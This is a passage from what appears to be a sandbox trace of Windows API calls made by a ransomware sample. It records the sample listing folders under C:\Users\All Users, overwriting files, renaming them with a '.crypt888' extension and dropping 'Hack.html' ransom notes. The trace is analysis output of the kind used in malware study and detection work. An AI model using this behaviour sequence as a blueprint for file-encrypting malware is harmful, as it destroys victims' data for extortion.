lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.378] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0089.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.378] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs", lpFilePart=0x0) returned 0x1f [0089.378] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs\\", lpFilePart=0x0) returned 0x20 [0089.378] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0089.378] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.379] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.379] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.379] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0089.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.379] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", lpFilePart=0x0) returned 0x29 [0089.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0089.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\logs\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.379] GetFileType (hFile=0x174) returned 0x1 [0089.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0089.379] GetFileType (hFile=0x174) returned 0x1 [0089.379] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.379] ReadFile (in: hFile=0x174, lpBuffer=0x27ee710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27ee710*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.380] CloseHandle (hObject=0x174) returned 1 [0089.394] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", lpFilePart=0x0) returned 0x29 [0089.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0089.394] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\logs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.395] GetFileType (hFile=0x174) returned 0x1 [0089.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0089.395] GetFileType (hFile=0x174) returned 0x1 [0089.395] WriteFile (in: hFile=0x174, lpBuffer=0x283c868*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x283c868*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0089.396] CloseHandle (hObject=0x174) returned 1 [0089.396] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", lpFilePart=0x0) returned 0x29 [0089.396] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html.crypt888", lpFilePart=0x0) returned 0x32 [0089.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0089.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\logs\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbd12860, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbd12860, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc67b7180, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0089.397] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\logs\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\mozilla\\logs\\hack.html.crypt888")) returned 1 [0089.397] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html", lpFilePart=0x0) returned 0x29 [0089.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0089.398] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\logs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.400] GetFileType (hFile=0x174) returned 0x1 [0089.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0089.400] GetFileType (hFile=0x174) returned 0x1 [0089.400] WriteFile (in: hFile=0x174, lpBuffer=0x283f170*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x283f170*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0089.401] CloseHandle (hObject=0x174) returned 1 [0089.401] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\Hack.html", lpFilePart=0x0) returned 0x24 [0089.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0089.401] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.402] GetFileType (hFile=0x174) returned 0x1 [0089.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0089.402] GetFileType (hFile=0x174) returned 0x1 [0089.402] WriteFile (in: hFile=0x174, lpBuffer=0x2841908*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2841908*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0089.403] CloseHandle (hObject=0x174) returned 1 [0089.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.404] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0089.404] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\", lpFilePart=0x0) returned 0x1a [0089.404] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a228 [0089.404] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.404] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.404] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.405] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0089.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.405] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0089.405] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\", lpFilePart=0x0) returned 0x1a [0089.405] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a228 [0089.405] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.405] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.406] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.406] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0089.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.406] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Hack.html", lpFilePart=0x0) returned 0x23 [0089.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0089.406] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html" (normalized: "c:\\users\\all users\\oracle\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.406] GetFileType (hFile=0x174) returned 0x1 [0089.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0089.406] GetFileType (hFile=0x174) returned 0x1 [0089.406] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0089.406] ReadFile (in: hFile=0x174, lpBuffer=0x2843c88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2843c88*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0089.407] CloseHandle (hObject=0x174) returned 1 [0089.427] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Hack.html", lpFilePart=0x0) returned 0x23 [0089.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0089.427] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html" (normalized: "c:\\users\\all users\\oracle\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.428] GetFileType (hFile=0x174) returned 0x1 [0089.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0089.428] GetFileType (hFile=0x174) returned 0x1 [0089.428] WriteFile (in: hFile=0x174, lpBuffer=0x2891dd4*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2891dd4*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0089.429] CloseHandle (hObject=0x174) returned 1 [0089.429] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Hack.html", lpFilePart=0x0) returned 0x23 [0089.430] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2c [0089.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0089.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html" (normalized: "c:\\users\\all users\\oracle\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbd389c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbd389c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6803440, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0089.430] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Oracle\\Hack.html" (normalized: "c:\\users\\all users\\oracle\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Oracle\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\oracle\\hack.html.crypt888")) returned 1 [0089.431] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Hack.html", lpFilePart=0x0) returned 0x23 [0089.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0089.431] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Hack.html" (normalized: "c:\\users\\all users\\oracle\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.432] GetFileType (hFile=0x174) returned 0x1 [0089.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0089.432] GetFileType (hFile=0x174) returned 0x1 [0089.432] WriteFile (in: hFile=0x174, lpBuffer=0x2894688*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2894688*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0089.434] CloseHandle (hObject=0x174) returned 1 [0089.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.434] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0089.434] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\", lpFilePart=0x0) returned 0x21 [0089.434] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a3e8 [0089.435] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.435] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.435] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.435] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.435] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.436] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.436] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.436] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.436] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.436] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.436] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.438] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.438] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.438] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.438] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.438] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.438] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.439] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.439] FindClose (in: hFindFile=0x59a3e8 | out: hFindFile=0x59a3e8) returned 1 [0089.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.439] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0089.439] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\", lpFilePart=0x0) returned 0x21 [0089.439] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a3e8 [0089.439] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.440] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.441] FindNextFileW (in: hFindFile=0x59a3e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.441] FindClose (in: hFindFile=0x59a3e8 | out: hFindFile=0x59a3e8) returned 1 [0089.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.441] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\Hack.html", lpFilePart=0x0) returned 0x2a [0089.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0089.441] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.442] GetFileType (hFile=0x174) returned 0x1 [0089.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0089.442] GetFileType (hFile=0x174) returned 0x1 [0089.442] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0089.442] ReadFile (in: hFile=0x174, lpBuffer=0x289c0fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x289c0fc*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0089.498] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\Hack.html", lpFilePart=0x0) returned 0x2a [0089.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0089.498] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.499] GetFileType (hFile=0x174) returned 0x1 [0089.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0089.500] GetFileType (hFile=0x174) returned 0x1 [0089.500] WriteFile (in: hFile=0x174, lpBuffer=0x26ebae8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x26ebae8*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0089.501] CloseHandle (hObject=0x174) returned 1 [0089.501] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\Hack.html", lpFilePart=0x0) returned 0x2a [0089.501] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\Hack.html.crypt888", lpFilePart=0x0) returned 0x33 [0089.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0089.501] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbf4dd00, 